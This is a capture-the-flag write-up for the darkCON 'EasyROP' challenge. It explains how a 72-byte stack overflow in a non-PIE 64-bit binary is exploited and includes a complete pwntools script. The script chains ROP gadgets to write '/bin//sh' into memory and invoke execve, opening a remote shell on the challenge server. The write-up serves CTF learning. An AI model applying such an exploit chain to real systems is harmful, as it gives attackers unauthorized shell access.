Tags: pwn
Rating:
<br>
We are given a binary that takes user input and then exits:
Welcome to the darkcon pwn!! Let us know your name:lightstack
Using file
I learned, that we were working with a 64bit binary that was dynamically linked and (using checksec) had PIE (so ASLR) disabled.
When inputting a lot of A's, we get a segmentation fault, that means we have a buffer overflow.
By inputting a pattern generated by pythons pwntools cyclic generator, I found out, that the padding (so the memory space reserved for the input on the stack) was 72bytes.
The next 8bytes are the return pointer that will be POPped.
Now I thought about my objective: Getting a shell<br> What we have to do:<br> 1.Write "/bin/sh" somewhere in memory<br> 2.make a syscall or call system with the first parameter being the location of the string, and the two next parameters being just anything <br> <br> The challenge is called EasyROP, so let's look for some fitting ROP gadgets. I used ROPgadget and came up with the following list of gadgets I would need: <br> [+] Gadget found: 0x4012d3 syscall ; making the syscall<br> [+] Gadget found: 0x481e65 mov qword ptr [rsi], rax ; ret ; writing memory <br> [+] Gadget found: 0x40f4be pop rsi ; ret ; controlling the rsi register<br> [+] Gadget found: 0x4175eb pop rax ; ret ; controlling rax<br> [+] Gadget found: 0x40191a pop rdi ; ret ; ...<br> [+] Gadget found: 0x40f4be pop rsi ; ret <br> [+] Gadget found: 0x40181f pop rdx ; ret<br> <br>
pop writable location into rsi >> <br> pop "/bin/sh" into rax >> <br> call write gadget >> <br> pop writable +8 into rsi >> <br> pop (anything) into rax >> <br> call writegadget >> <br> pop /bin/sh location into rdi (the first syscall parameter) >> <br> pop the junk data location into rsi and rdx (2. and 3. argument) >><br> pop 0x3b into rax (=(dec)59; syscall number for execve >> <br> make syscall >> <br> Enjoy our flag!<br>
I am using python pwntools for writing the exploit:
#!/usr/bin/env python3
from pwn import *
def main():
#io = process("./easy-rop") # For debugging
io = remote("65.1.92.179",49153)
pre_data = io.recvuntil("your name:")
payload = b"A"*72 # padding
#Writing /bin/sh
payload += p64(0x40f4be) # pop rsi gadget
payload += p64(0x004c00e0) # Value for rsi, rw in .data
payload += p64(0x4175eb) # pop rax gadget
payload += b"/bin//sh" # value for rax that will be written into loc of rsi, we use 2*/ for getting to 8 byte, not seven
payload += p64(0x481e65) # mov [rsi], rax gadget for writing string
#Writing null byte into .data+0x8
payload += p64(0x40f4be) # pop rsi gadget
payload += p64(0x004c00e0+0x8)# Value for rsi, rw in .data+0x8 so the next argument for execve
payload += p64(0x4175eb) # pop rax gadget
payload += p64(0x0) # value for rax, so 0x0 for the array as arguments
payload += p64(0x481e65) # mov [rsi], rax gadget for writing string
#Preparing syscall
payload += p64(0x40191a) # pop rdi gadget
payload += p64(0x004c00e0) # value for rdi (location of string = rsi)
payload += p64(0x40181f) # pop rdx gadget
payload += p64(0x004c00e0+0x8)# Value for rdx
payload += p64(0x4175eb) # pop rax gadget
payload += p64(0x3b) # rax value = (dec) 59 = execve syscall number
payload += p64(0x40f4be) # pop rsi gadget
payload += p64(0x004c00e0+0x8) # value for rsi
#Make syscall
payload += p64(0x4012d3) # syscall gadget
input("Send payload")
io.sendline(payload)
io.interactive()
io.close()
if __name__=="__main__":
main()
When executing it we get the following output:<br>
<br>
<br>
Well done! <br>
We got the flag
darkCON{w0nd3rful_m4k1n9_sh3llc0d3_us1n9_r0p!!!}
!